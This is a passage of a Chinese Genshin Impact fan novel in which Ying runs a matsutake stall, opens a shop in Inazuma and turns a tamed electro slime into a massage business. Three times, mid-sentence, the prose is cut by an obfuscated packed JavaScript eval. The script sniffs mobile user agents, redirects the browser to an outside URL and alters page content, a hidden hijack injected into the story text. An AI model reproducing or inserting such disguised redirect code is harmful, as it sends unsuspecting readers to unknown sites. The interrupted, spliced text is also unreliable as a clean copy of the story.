荧在集市入口重新摆好桌子和小马扎。桌上三样东西，木板上写着"璃月绝云间松茸，海运受潮，忍痛折价"。初号机举牌，上午在集市歪头营业，下午回仓库巡视晾晒架，两班倒，提瓦特第一打工皇帝。 派蒙负责"安慰"荧。安慰的方式是一边拍荧的肩膀一边往嘴里塞脆片。第一天就干掉了半篮子。 "你已经质检了十二片。" "样本量不够不能下结论。" "你嘴角全是碎末。" "这是沉浸式体验营销。顾客看到我吃得这么香，自然就想买了。" 荧承认这个逻辑有一定道理。因为确实有三个路人被派蒙吧唧嘴的声音吸引过来了。 第一个正式顾客是本地渔妇。喝了一口汤，停了一下。 "这汤怎么回事？第一口是菌子味，咽下去有回甘，带一点海的味道。我喝了三十年菌汤没喝过这个味。" "璃月高山松茸，海水浸渍后漂洗晾干，保留盐底。"荧说。 渔妇买了两碗汤三包脆片。第二天带了三个邻居。第三天邻居带了邻居的邻居。 荧的内心弹幕：提瓦特没有互联网，但有比互联网更快的传播渠道，渔妇八卦网。 第一天收入一千一百二十摩拉。派蒙当晚算完账，脸上的表情像抽到了五星角色十连大保底。 "荧！五十斤松茸花了五百摩拉，第一天就回了一千一！我们赚了！赚了！赚了！"她在半空转了三圈。 "先别飞。五十斤撑不了几天。" "不行我要高兴一下。"又转了两圈。"今天的脆片还剩几包？我帮你质检。" 第三天出事了。 晾晒架有一角被海风吹歪，几斤松茸叠在一起没晒透，开始发闷。荧发现的时候已经晚了。 "废了。真废了。"她挑出来扔掉。 前世给客户提案翻过车，这辈子品控翻车扔松茸。历史总是惊人的相似。不过提案翻车只是被甲方骂，扔松茸是真扔钱。 派蒙心疼得直抽气。"五斤！五十摩拉！十二只半烤鸡腿！" "过不了自己这关的东西不出手。" "但那是十二只半鸡腿啊！那半只怎么算！" 荧调整了晾晒架，给初号机加了巡视任务。 于是初号机的日程变成了两班倒：上午集市举牌子，下午仓库巡视晾晒架，晚上还要帮忙搬松茸。 派蒙说它像打三份工的社畜。荧说只要能干活的生物她统统不放过。 前世带团队的时候她就是这样，实习生入职第一天就要干活，没有适应期。 初号机虽然听不懂人话，但它是提瓦特第一打工皇帝，相当于零命但满级的工具人角色，虽然没有命座加成但体力无限。 51.松茸翻车记（下） 生意跑起来之后，荧陆续收购到八百斤受潮松茸，总采购成本约五千摩拉。 派蒙从第一百斤开始念叨，念到第八百斤。"荧你已经花了快五千了你知不知道，五千摩拉是一千二百五十只烤鸡腿。一千二百五十只。你把它们排成一排可以从离岛排到稻妻城。" "你算过？" "我每天晚上算账的时候顺便算的。" 摆摊第五天，仓库里出了一件怪事。 荧去取松茸，角落里有一小堆碎末被烧焦了。不是火烤的焦，是像被电流灼过的痕迹。旁边地上有一道极淡的紫色痕迹，起点在石阶角缝隙附近，就是上次派蒙摔碎夜泊石的位置。碎屑嵌在缝隙里太深，清理时没弄干净。 她蹲下来看了一会儿，清理了碎末，没多想。 签协议后第七天，宵宫送来消息：三个品级烟花成品全部调试完成，开始铺稻妻本地铺子。松茸在离岛卖，烟花在稻妻城铺，两条线并行。 摆摊第二周，宵宫来离岛取辅料，路过摊位。 "这什么？给我来一碗。" 喝了一口。盯着碗底五秒钟。又要了一碗。 "你刚才那碗还没付钱。"派蒙说。 "算我的。"荧说。 "两碗五十摩拉。" "我说了算我的。" "那从你的份额里扣。" 宵宫看了看派蒙又看了看荧。"你们两个的关系是老板和财务加首席试吃官吧。" "试吃官这个头衔我认了。"派蒙说。 宵宫喝完第二碗，眼睛里出现了那种匠人遇到新材料时的光。 "我有个想法。" "什么？" "买冰蓝烟花送松茸汤试喝。" "……什么？" "你想想。放完烟花手冷不冷？冷。这时候来一碗热的咸鲜松茸汤，什么感觉？绝了。视觉加味觉，双重暴击。直接捆绑销售。稻妻冬天的标配。" 荧的内心弹幕：这个女人的脑回路跟烟花引线一样，总是能拐到你想不到的地方。但她说得有道理。烟花是情绪消费，汤是胃口消费，两个一绑客单价直接翻倍。在前世这叫"场景化营销"，在提瓦特这叫"宵宫式发疯"。不管叫什么，能省成本就是好方法。 宵宫回稻妻城跑铺子，逢人就说"我朋友在离岛卖的松茸汤，配我的烟花绝了，看完烟花喝一碗，稻妻冬天标配"。两家料亭老板被她安利到崩溃，派人来离岛试了汤底，当场下了批发单。 更大的转折：宵宫说绫华听说了松茸的事，让荧去社奉行府见一面。 荧的内心弹幕：社奉行大小姐要见我。我一个在离岛摆地摊的璃月人。被社奉行传召。是要表彰还是要查税？ 她拿着宵宫引荐信加小林办的一日通行许可去了。路上迷了两次路。从离岛码头到稻妻城不算远，但荧的路痴属性是六星级的，前世在上海陆家嘴上班三年还能走反方向。派蒙在天上给她导航，喊了八次"左转！左转！你又走反了！" 经过稻妻城的商业街时，她看到一家铺子在卖海货，招牌上画着一条船。她的内心弹幕自动弹出来：上次我的船就是被海盗追到雷暴区才沉的。等我赚够了钱，一定要找雷电将军报个案。不，找九条裟罗。不，算了，找谁都没用，先记着。 绫华在茶室接见她。 "荧小姐，宵宫跟我提过你。璃月来的商人，船沉了还能在离岛站住脚，夜泊石做成烟花合伙，松茸受潮又做出新产品。"她端起茶杯，"我对能从困境里找到出路的人，一向有好感。" 荧面上淡定："绫华小姐过奖。"内心已经开始放烟花了。不经夸，从小就不经夸。前世领导随便说一句"这个方案不错"她能高兴三天。现在被稻妻贵族当面夸，她觉得自己尾巴快翘到天上去了。但脸上一点不能露。做策划出身的人，脸皮管理是基本功。 "我让人从离岛买了一份汤底试了。风味独特。"绫华说，"社奉行下个月秋季祭典招待宴，正餐已定，但宴前开胃汤和佐酒小食还有余地。你这个松茸汤底做开胃汤，脆片做佐酒小食，都合适。" "汤底料先要五十份。脆片三十包。"她顿了一下，"我自己另留十包。昨天试吃没控制住，一口气吃了半包。" 荧的内心弹幕：社奉行大小姐也会没控制住。以后营销可以打"连绫华小姐都停不下来的松茸脆片"。虽然打不了，但想想很快乐。 派蒙在荧身后小声尖叫："社奉行大小姐都来买！我们这是要火遍提瓦特了！以后是不是能天天吃鸡腿了！" 荧用眼神让她闭嘴。 汤底五十份一千五百，脆片四十包三百二十，合计一千八百二十。不算大单，但社奉行的品牌背书比摩拉值钱。 绫华走之前提了一句秋季祭典烟花供应商还没定，倾向用她们的。荧走出社奉行府在笔记本上写了两笔。 派蒙飘过来："荧，我收回之前说的话。" "哪句？" "你跟松茸过吧那句。你跟松茸过挺好的。我支持你们。" 三周汇总。盐渍松茸售出约三百斤，收入六千。汤底料约三百五十份，收入八千七百五十。脆片约八百包，收入六千四百。大宗订单：绫华一千八百二十，两家料亭一千二百。松茸线总收入两万四千一百七十摩拉。总成本约七千五百（采购五千，仓库两百，杂费八百，摊位费三百，商税一千二百）。松茸线净利润约一万六千七百。 加上烟花回款五千，两条线合计三周净赚约两万一千七百。 派蒙看着数字安静了五秒。 "荧。" "嗯。" "两万一千七百摩拉。" "嗯。" "是五千四百二十五只烤鸡腿。" "你为什么什么都要换算成烤鸡腿。" "因为烤鸡腿是提瓦特唯一不会通货膨胀的硬通货。行秋看完这个账本，估计连夜把飞云商会交给你打理。" "飞云商会不卖鸡腿。" "那它不值得。" 还债。修船费七千，第一周末就付了。船主老头收了一千摩拉意思意思。行秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226817|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冰史莱姆借款一千五百加两百精神损失费，还了。行秋回信一行字："精神损失费收到。两只史莱姆至今下落不明，建议你下次押运活物先学动物行为学。" 三笔紧急债务九千七百，清了。北国银行二十五万、璃月商会五万，靠三周利润不可能一次还清，但现金流转正了，大额债务可以开始分期。 派蒙总结："早知道松茸这么赚钱，我们还运什么夜泊石。" "没有夜泊石就没有宵宫，没有宵宫就没有料亭，没有料亭就没有绫华。" "好吧。万物皆有因缘。"派蒙翻回笔记本第一页，看了看当初写的悼词。"菌生无常，大肠包小肠。"她想了想，在下面加了一行："菌生无常，但常中有财。" "你这句话倒像钟离说的。" "钟离不会说这种话。钟离会说''此乃岩之理也''，然后让你请他吃饭。而且他会点最贵的。" 荧把剩余的钱分成三份：运营资金、应急储备、寄回望舒客栈给香菱。 派蒙看了看分配方案，忍了三秒。"应急储备那份，折算成烤鸡腿是多少只？" "你不需要知道。" "我作为首席货币政策顾问，有权知道。" "你什么时候升职的？" "刚才。自封的。" 傍晚，荧去港口船坞看了一眼稳沉号。 船搁在干架上，左舷新板换好了。她伸手摸了摸新木，手感比旧板光滑。 一千五百摩拉月租的船。踩三下掉一块板的船。万叶修过的船。沉了又捞的船。修船费比月租贵了四倍多。当初老周头说"这船便宜是因为它命硬"。沉了都能捞回来修好。 "跟我挺像的。"她小声说。 "荧，我们什么时候回去？"派蒙飘过来。 "快了。第二批夜泊石要回璃月亲自选品盯运输。客栈那边传了消息，香菱一个人忙不过来了。" "回家！"派蒙转了两圈。"回去第一件事做什么？" "看看香菱有没有把客栈烧了。" "她不会的！……就是偶尔火大了一点。" "上次''偶尔火大了一点''，后厨窗帘换了三条。" 派蒙决定不反驳了。 回去的路上经过仓库，荧注意到门框底部有一道新的紫色痕迹。比之前深一点宽一点。像什么东西反复爬过同一条路径留下的。 她蹲下来。门缝里隐约有一种很细微的声音。滋滋。像静电。 "派蒙，你听到什么了吗？" "什么？" "没什么。" 仓库角落阴影中，一团比上次大了一圈的紫色东西缩在石阶缝隙里。缝隙深处，派蒙摔碎的夜泊石残留的矿晶碎屑还在，蓝光很微弱了，但对一只雷元素幼体来说够它慢慢吸收。它已经不是指甲盖大小了。大约有一颗葡萄那么大。半透明。电光比之前更亮。 它旁边散落着几粒被电流灼焦的松茸碎末。 它缩了缩身体，朝缝隙深处又挤了一寸。那几粒碎屑的蓝光又暗了一点。 52.摩拉小山（上） 一个多月后，荧的笔记本上多了一个数字：二十三万摩拉。 数字不是一夜之间蹦出来的。前三周靠松茸线打底：离岛散客、两家料亭长期供货、绫华社奉行追加了两次订单，脆片被一个往返稻妻和璃月的旅行商人带回了璃月港，望舒客栈那边香菱试卖了一批三天售罄。但真正让数字起飞的是烟花线。绫华秋季祭典用了冰蓝烟花，当晚整个稻妻城的天空都是蓝的，第二天订单排到了下个季度。宵宫忙得三天没睡觉，荧忙得一个多月没回璃月。 两条线加起来，一个多月累计净利润二十三万摩拉。其中绫华秋季祭典的烟花大单占了大头，光那一笔回款就超过十万。扣掉已还的紧急债务和寄回客栈的运营费，账上可用资金约二十万。 回璃月的计划一推再推。香菱传了消息说"你再不回来我就把后厨的窗帘全换成防火材质的了"，荧回了一句"换吧，从运营资金里扣"。 回不去的原因很简单：稻妻的生意需要一个固定据点。 离岛的临时摊位和仓库撑不住出货量。松茸要加工，脆片要烘干，汤底料要分装，全挤在一起。初号机每天在松茸堆和脆片篮之间跑来跑去，有一次差点把脆片踢进汤锅里。派蒙说再这样下去，她迟早会在脆片堆里睡着，然后被当成商品卖掉。 荧决定在稻妻城开一家分店。 "分店？"派蒙嘴角刚翘起来就又压下去了，"要花多少钱？" "先找铺子再说。" "你每次说''先做再说''，后面都跟着一笔让我心脏骤停的支出。" 找铺子的过程充分体现了荧的路痴属性。稻妻城依山而建，街道弯弯绕绕，上坡下坡，同一条路走两遍能走出三条不同的路线。荧拿着小林画的地图转了一整天，看了七家空铺子，迷路四次。派蒙在天上导航，喊了十二次"右转"，其中八次荧转成了左转。 "你的左右是不是反的？" "不是。是地图画反了。" "地图没有反不反的。" "那就是我的大脑跟地图不兼容。" 最后选中的铺子在城下町一条商业街上。不是最旺的铺面，但胜在面积够用。两层小楼，一楼做店面和加工间，二楼住人存货。门口一小块空地，够摆几张桌子。 房东田中，五十多岁，稻妻本地人，矮胖，精明，看人的时候眼珠子转得比派蒙算烤鸡腿的速度还快。 "租金多少？" "一万八千摩拉一年。先付一年。"田中说，"城下町商业街的正常价。你要是觉得贵，隔壁巷子里有便宜的，不过那边没有临街面。" 荧的内心弹幕：一万八一年，折合一个月一千五。比稳沉号的月租持平。前世在上海租个工位都不止这个价。提瓦特的房价真是良心。但能省一点是一点。省钱是她所有脑洞的出发点，从前世做项目预算就是。能砍三千就是三千，三千摩拉够买六十碗松茸汤，够初号机吃两个月的元素能量补给。每一笔支出都要算成它能换多少碗汤、多少斤松茸、多少次进货。这是刻在DNA里的。 "一万五。我一次性付全年。" "一万七。一次性付可以再减五百。" "一万六千五。这是我的底价。多了我去隔壁巷子。" 田中的眼珠子转了两圈。"行。一万六千五。但有条件。不能做重油重烟的生意，不能改建筑结构，退租时恢复原样。" 荧点头。松茸加工不需要重油重烟，完全没问题。 "我付全年租金。"荧说，"现在付。" 她从包里掏出一个布袋，解开，往桌上倒。 摩拉。 金色的硬币哗啦啦地堆在桌上，越堆越高，堆成了一座小山。 她特意用了最大的布袋，把零散的摩拉全换成了整数硬币。其实她可以去钱庄换成银票带过来，轻便得多。但她没有。做广告策划的人都知道一个道理：同样的数字，写在纸上是数字，堆在桌上是气势。前世给客户做报价，她从来不发邮件，一定要当面摊开装订好的报价册，厚厚一本，翻页的声音都是谈判的一部分。 荧的内心弹幕：这个画面，前世在甲方面前做提案的时候用过。把预算表打印出来摞在桌上，厚厚一沓，甲方一看就觉得"这个项目投入很大"。其实大部分预算是凑数的。同一个套路，换了个世界还是好使。 这不是一万六千五。这是二十万摩拉。荧的全部可用资金。 她把它们全带来了。不是为了付租金，是为了当面点货，把松茸线和烟花线的周转资金重新分配。她习惯用现金理账，所有数字落到纸上之前先过一遍实物，心里才有数。 但田中不知道这些。 他看着桌上的金色小山，眼珠子停止了转动。 "这……" "一万六千五是租金。"荧从山顶数出一摞推过去。"一年的。" 田中接了租金，但眼睛还钉在那座山上。 "剩下的是？" "我的运营资金。装修、进货、周转用的。" 田中听到"装修"两个字。他看了看那座摩拉山，又看了看荧，做出了一个完全合理但完全错误的判断：这个璃月来的年轻女人，准备砸重金装修他的铺子。 他的语气热情了三倍。"装修随便搞。需要我介绍施工队吗？稻妻城最好的木工我认识。" "不用。我自己来。" "自己来？"田中看着桌上的二十万，觉得这个"自己来"的含金量非常高。 他走的时候回头看了三次那座小山，走路的姿势都变了。 荧的内心弹幕：前世做广告策划学的第二课，信息不对称是最强的谈判武器。我没说那二十万是装修费，但我也没说不是。差别在哪？差别在他免费给我介绍了施工队的联系方式，以后万一要修什么东西可以用。零成本获取资源。抠门的最高境界。 装修开始了。 荧的装修理念：能拆能搬，不留痕迹。 前世租房学会的原则。房东说"退租恢复原样"，意思是你装得越死，退租拆得越惨。聪明的租客只用可移动家具。 一楼店面：折叠货架八组（四十摩拉一组），可移动柜台一个（带轮子，定做三百摩拉），折叠桌椅四套（六十摩拉一套），布帘隔断三条（二十摩拉一条）。 二楼住处：折叠床两张（一百摩拉），可拆卸衣柜一个（八十摩拉），活动书架一个（五十摩拉）。 总装修费用：一千一百七十摩拉。 派蒙算完这笔账："荧，你把''高端可移动软装''这个概念发明出来了。" "这不是发明。这是穷人的智慧。前世在出租屋里住了六年练出来的。" 荧的内心弹幕：一千一百七十摩拉。前世这点钱不够抽一个十连。现在这点钱装了一整个店。穿越之前氪金抽卡连个四星都保不了底，穿越之后一千一百七十摩拉装了个两层楼。果然零命玩家只配用折叠家具。 初号机在装修中充分发挥了打工皇帝的作用。搬货架它搬，推柜台它推，扛折叠床它扛。派蒙负责指挥方向，初号机负责执行。有一次派蒙让它把柜台往左挪两步，它挪了三步撞到墙上，掉了一小块灰。 荧蹲下来看。 "退租要补。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232342|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记下来。" 派蒙在笔记本上写："墙面损伤一处，指甲盖大小，修补费预估两摩拉。" "两摩拉你也记。" "你教我的。" "教得对。" 装修用了三天。田中来验收。 他推开门之前想象的是：实木地板、定制柜台，可能还有水晶灯。 他推开门看到的是：折叠货架、带轮子的柜台、布帘隔断。 他伸手推了一下柜台。柜台滑了。他拉了一下货架。货架折了。他扯了一下布帘。布帘掉了。 派蒙在荧身后小声嘀咕："他的表情经历了期待、困惑、震惊、怀疑人生四个阶段。跟前世甲方看到最终交付物的表情一模一样。" 荧小声回："别出声。这是关键时刻。" "这……就是装修？" "高端可移动软装。"荧说，"所有家具可拆卸、折叠、搬走。退租恢复原样，一颗钉子不留。完全符合您的租约条件。" 田中站在那里，回忆起了那座二十万摩拉的小山。然后他看着眼前这个一千一百七十摩拉的"高端可移动软装"。 "你那二十万……" "是运营资金。进货发工资交税用的。"荧的表情非常真诚，"铺子的装修做完了。您觉得怎么样？" 田中看着带轮子的柜台，沉默了很久。 "……行吧。" 他走了。走到门口嘟囔了一句："璃月人……" 派蒙等他走远了才飘过来。"荧，他是不是觉得被骗了？" "我没骗他。我从头到尾没说那二十万是装修的。是他自己脑补的。" "可你也没解释。" "解释是弱者的行为。" 派蒙在笔记本上记了一句："不主动撒谎，也不主动解释。差别在哪？差别在省了一笔装修费。" 店铺开张后第三天，荧回离岛仓库搬最后一批松茸。仓库快清空了，角落只剩几个空箱子。她弯腰搬箱子的时候，手指碰到了箱子底部的什么东西。 一阵电流。 不是静电。是实实在在的元素能量。她的指尖发麻，手臂抖了一下。 她把箱子挪开。 石阶缝隙里，蹲着一团紫色的东西。接近一颗荔枝的大小。半透明的身体里有紫色电光在流动，但光很弱，忽明忽暗。身体表面有几道干裂的纹路，像长期缺水缺能量。 荧认出来了。雷史莱姆。幼体。之前爬进仓库的那个。一个多月过去了，它靠派蒙摔碎的夜泊石碎屑的微弱元素能量活了下来，但碎屑的蓝光已经完全熄灭了。能量吸干了。 荧的内心弹幕：一只野生雷史莱姆幼体。在我仓库蹭了一个多月的夜泊石能量。吃完了还不走。这是什么？零命雷史莱姆？连元素爆发都放不出来的那种？ 她蹲下来看了它一会儿。旁边地上还有几粒被电流灼焦的松茸碎末。 "对了，之前烤糊我松茸的就是你吧。五斤。十摩拉一斤。你欠我五十摩拉。" 它缩了缩。 派蒙："荧，你跟一只史莱姆算账？" "欠债还钱，不分物种。" 荧伸手靠近它。它放了一下电。电流很弱，有点麻但不疼。 这只幼体跟普通雷史莱姆不一样。普通的雷史莱姆放电是无差别攻击，电流强度足以对人造成元素伤害。但这只从孵化起就靠夜泊石碎屑的微量能量存活，天生元素力极弱，放出来的电跟静电差不多。加上一个多月来人类频繁进出仓库，它已经习惯了人的气息，没有攻击性。 "走吧。跟我回去。" 53.摩拉小山（下） 派蒙看到荧手里多了一团紫色的东西："那是什么？！" "雷史莱姆幼体。仓库里住了一个多月的。" "你要养它？！" "它没地方去了。而且它吃元素能量，不吃摩拉。免费的。" "免费"两个字让派蒙的反对意见消失了百分之八十。 但把一只魔物带进稻妻城不是随便就能做的事。荧去找了小林。 "天领奉行对城内饲养魔物有什么规定？" 小林帮她查了一下。锁国令解除后天领奉行更新了一批新规，其中有一条：经过驯化且元素力低于安全阈值的低危魔物，商户可向天领奉行申请"特殊生物饲养许可"，用于商业用途。审核标准是元素力检测不超过三级（人体可承受、不造成元素伤害），且饲养者需定期接受天领奉行巡查。 荧带着幼体去天领奉行做了检测。结果：元素力一级，远低于安全阈值。审核官看了看这只比荔枝大不了多少的紫色团子，说了一句："这是我见过最弱的雷史莱姆。" 许可批了。 幼体被带回了新店铺。荧给它找了一个纸盒当窝，放在柜台底下。 派蒙问："它有名字吗？" "充电宝。" "为什么叫充电宝？" "因为它就是一个会放电的移动电源。初号机是搬运工，它是充电器，按功能命名。" 派蒙看了看纸盒里的紫色团子："它知道自己要打工吗？" "它欠我五十摩拉松茸钱。以工抵债。按十五摩拉一次的定价算，三次四十五摩拉还差五块，第四次按完多出十摩拉，算预存到下个月的粉末费。" "你连一只史莱姆的应收账款都算得这么清楚。" "做策划的基本功。" 接下来是驯化。这个过程花了将近两周。 荧从宵宫那里要了一小袋夜泊石研磨的粉末边角料当奖励。每次幼体按她的指令放出稳定微弱电流，就喂一点粉末。前几天它完全不配合，想放多强放多强，电得荧手臂抖了好几次。派蒙在旁边记录："第三天，成功率百分之二十。第五天，百分之四十。第九天，百分之八十。"到第十二天，它终于形成了条件反射：有人触碰指定区域时，释放固定强度的微电流。 荧让木工在自带的可移动柜台面上做了绝缘处理，只留出两块巴掌大的铜制接触区。铜片装在她自己的柜台上，不动房东一砖一瓦，退租的时候连柜台一起搬走。电流只通过这两个铜片区域传导到人手上，其他地方全绝缘。派蒙碰了一下柜台边缘，没感觉。碰了一下铜片，酥酥麻麻的。 "荧。" "嗯。" "再来一下。" "你被电了还想再来？" "你不懂。那个电，从指尖一直通到肩膀，特别解压。像有人在给你揉肩但是用电的。" 荧把自己的手放到铜片上。 酥。麻。从指尖到手腕，沿手臂扩散到肩膀。不疼。是一种低频电流感。像前世做过的EMS电脉冲按摩。 荧的内心弹幕：等等。前世在按摩店花两百块做的"深层肌肉放松"，就是这个感觉。一只零命雷史莱姆幼体。成本：夜泊石粉末边角料，宵宫那边按废料价算大概三摩拉一个月。三摩拉。前世一瓶矿泉水的钱。利润率高到离谱。这是什么？这是提瓦特版的共享按摩椅。 "派蒙。" "嗯。" "我们捡到宝了。" 下午，荧请了三个人来试：港口搬运工老张（肩膀酸），隔壁卖鱼的大婶（手腕疼），路过的旅行商人（腰不好）。 老张试完："我搬了十年货，肩膀第一次这么松。" 鱼大婶试完："手腕不疼了。你这是什么仙术？" 旅行商人试完，沉默五秒："多少钱？" 荧："还没定价。" 旅行商人："定吧。我先预约明天的。" 当晚，荧在笔记本上写了新项目： "雷电按摩。利用雷史莱姆幼体低频放电，通过铜制导电片传导至人体表面，实现肌肉放松。成本：约三摩拉每月（夜泊石粉末边角料）。定价：十五摩拉一次，月卡一百。" 派蒙在旁边加了一行注释："十五摩拉等于三只烤鸡腿。月卡一百等于二十只烤鸡腿。" "你为什么要用烤鸡腿换算？" "因为烤鸡腿是提瓦特唯一稳定的硬通货。摩拉会贬值，烤鸡腿不会。" 第一周靠口碑。老张告诉工友，大婶告诉邻居，旅行商人告诉同行。渔妇八卦网再次验证了提瓦特最强传播渠道的地位。 初号机被安排在门口举牌子。牌子是荧写的，正楷，"雷电按摩·十五摩拉·肩颈腰全套"。之前让初号机写过一次，写出来像鬼画符，吓跑了两个路人。它不会说话，但会在有人走过的时候把牌子往前伸一下。有一次伸太猛，牌子拍在路人脸上，差点变成"雷电按摩·外加免费物理按摩"。 第二周，出事了。 一个小孩偷溜进店里，摸了铜片，被电了一下。他没哭。他笑了。然后跑出去告诉了朋友。 第二天五个小孩来了。第三天十二个。他们不是来按摩的，是来"玩电"的。每个小孩被电一下就浑身一抖，手臂甩一下，然后哈哈大笑。 其中一个小孩被电后抖动幅度特别大，手脚同时甩起来，像跳一种魔性舞蹈。其他小孩开始模仿。 然后这个"被电之后的魔性舞蹈"在稻妻城的小孩之间传开了。 他们管它叫"雷电按摩舞"。 荧的内心弹幕：我开了一家按摩店，结果变成了稻妻城儿童游乐场。这不是我的商业计划。但好像比我的商业计划传播得更快。前世花几十万都做不出来的病毒式传播，一只零命雷史莱姆免费做到了。 有人给它编了歌："嗞嗞嗞，麻麻麻，雷电按摩到我家，抖一抖，甩一甩，肩膀酸痛全拜拜。" 第三天，家长来了。七个。领头的中年妇女表情严肃。 "你就是那个用雷元素电小孩的外国人？" 荧的内心弹幕：完了。提瓦特家长维权团。前世最怕甲方投诉，这辈子最怕家长上门。 "电流经过天领奉行元素力检测，一级，远低于安全阈值。"荧说，"而且铜片区域有限定，其他地方全绝缘，不会误触。许可证在这。" 她把天领奉行的饲养许可和元素力检测报告亮了出来。做策划出身的人，风险预案是本能。 领头的妇女看了看许可证。然后说了一句荧没预料到的话："大人能不能也做？" "能。十五摩拉一次。" "让我试试。" 五分钟后，七个家长全试完了。 "月卡多少？" "一百。" 当场办了七张。走的时候领头的妇女回头说："我回去告诉街坊。" 一周之内，月卡办了十二张。散客每天二三十人。光按摩一项，周收入超过两千摩拉。 充电宝的工作状态很稳定。驯化阶段是计件制，干一次活喂一次粉末。但爆火之后一天按几十次，按次喂成本扛不住了。荧算了一笔账：按计件制一天得喂十几次，粉末月消耗量翻五倍，成本从三摩拉涨到十五。于是果断改成日薪制，每天早上固定喂一小撮，干多干少都是这个量。充电宝不懂区别，反正有吃的就干活。派蒙说这叫从计件工资制改成固定月薪制，荧说这叫"成本控制的基本功，涨薪永远跑不过通胀"。日薪制之后月成本稳定在五摩拉左右，月收入八千以上。投入产出比一比一千六。她前世做过的所有项目加起来都没这个数字好看。派蒙翻了翻笔记本："对了，充电宝欠的五十摩拉松茸钱，按十五摩拉一次算，开业第一天四个客人就还清了。现在它是纯打工，不欠债了。"荧说："不欠债不代表不用干活。它现在是正式员工。" 初号机的工作量也跟着翻倍了。除了门口举牌子，它还负责维持排队秩序。方法很简单：谁插队它就用身体挡住。有一次两个大婶为了抢位置吵起来，初号机站在中间一动不动，两个人推它推不动，最后都安静了。派蒙说它是提瓦特唯一的AI保安。荧说它的工资是每天两片松茸脆片，折合一摩拉，是提瓦特性价比最高的保安。 第三周，天领奉行来了例行巡查。一个年轻的巡查官推门进来，看到门口排着二十多人的队，柜台底下蹲着一个紫色团子，门口站着一只蓝色史莱姆举着牌子。 他看了看饲养许可，又看了看充电宝，又看了看排队的人群。 "这个……商业状况比我预 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236308|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期的要好。" "有什么问题吗？" "没有。元素力指标正常，饲养环境合规。"他顿了顿，"但我有个私人问题。" "什么？" "排队要多久？我肩膀也有点酸。" 荧给他排了个号。巡查报告上写的是"一切正常"。 又过了几天，一个穿着讲究的侍从走进店里，递上一封信。 "这是神里绫人大人的手书。" 荧拆开看了。信很短，字很漂亮。 "荧小姐，舍妹绫华近日从脆片供应商处听闻贵店有雷电按摩服务，颇为好奇，但碍于身份不便亲至。如方便，可否安排一次私密体验？环境安静为宜，若能提供热饮（如贵店松茸汤）更佳。具体事宜请与来人商定。神里绫人敬上。" 荧的内心弹幕：社奉行家主亲笔给我写信。就为了帮妹妹预约一个按摩。神里绫人，稻妻社奉行当主，传说中的谋略家，此刻在帮妹妹跑腿预约按摩。前世抽他的卡花了一百六十抽才出，歪了一次。现在他给我写信。这算什么？大保底换来的缘分？ 派蒙在荧身后小声说："她要的不是按摩。她要的是带奶茶和软包椅的VIP包间。" 荧想了想。"可以安排。用布帘围一个可移动隔间就行，不动墙不动地，退租拆了走人。VIP单人体验，含布帘隔间、软包坐垫、松茸汤一碗。单次五十摩拉。" 荧的内心弹幕：装修时买了三条布帘隔断，现在只用了两条，正好剩一条围VIP隔间，布帘成本为零。软包坐垫三十摩拉，松茸汤原料成本三摩拉。固定投入三十三摩拉，第一单净赚十七摩拉。社奉行大小姐的消费力，值得单独开一个产品线。前世给奢侈品客户做方案也是这个思路：成本加两倍卖给普通人，加五倍卖给VIP。区别只在一块布帘和一碗汤。 侍从点头。"时间定在后天申时。绫华小姐会从后门进。" "后门？" "她不希望被人看到社奉行家的小姐在街边店做雷电按摩。"侍从压低了声音，"上次脆片的事，绫人大人说绫华小姐在家里被念叨了很久。" 派蒙等侍从走了才开口："五十摩拉。十二只半烤鸡腿。贵族的鸡腿就是不一样。" 荧在笔记本上加了一行： "VIP雷电按摩：含布帘隔间、软包坐垫、松茸汤。单次五十，月卡三百。布帘复用，实际新增成本坐垫三十加松茸汤三，共三十三。" 下面又加了一行： "需要更多雷史莱姆。一只不够用了。哪里能找到更多幼体？" 再下面是派蒙的字： "荧，你是不是要开雷史莱姆养殖场了？" 荧没有回答。她翻到笔记本最后一页，回璃月的清单已经划掉又重写了很多次。这次她在旁边写了一行小字： "再等等。稻妻这边还没稳。" 当天晚上，宵宫送来了一条消息。 "荧，我研究冰蓝烟花配方的时候发现了一个副产物。夜泊石粉末在特定配比下，炸开之后的光迹可以被定型。就是说，可以让烟花在天上炸出文字。" 荧看了三遍。 "烟花可以写字？" "对。想写什么写什么。表白、祝福、骂人，都行。你之前不是说''烟花需要情绪价值''吗？这个就是情绪价值的终极形态。" 荧的内心弹幕：天上的弹幕。提瓦特版弹幕。在天空上发弹幕。 她在笔记本上写了两行： "告白烟花：在天上炸出''XX我喜欢你''。" 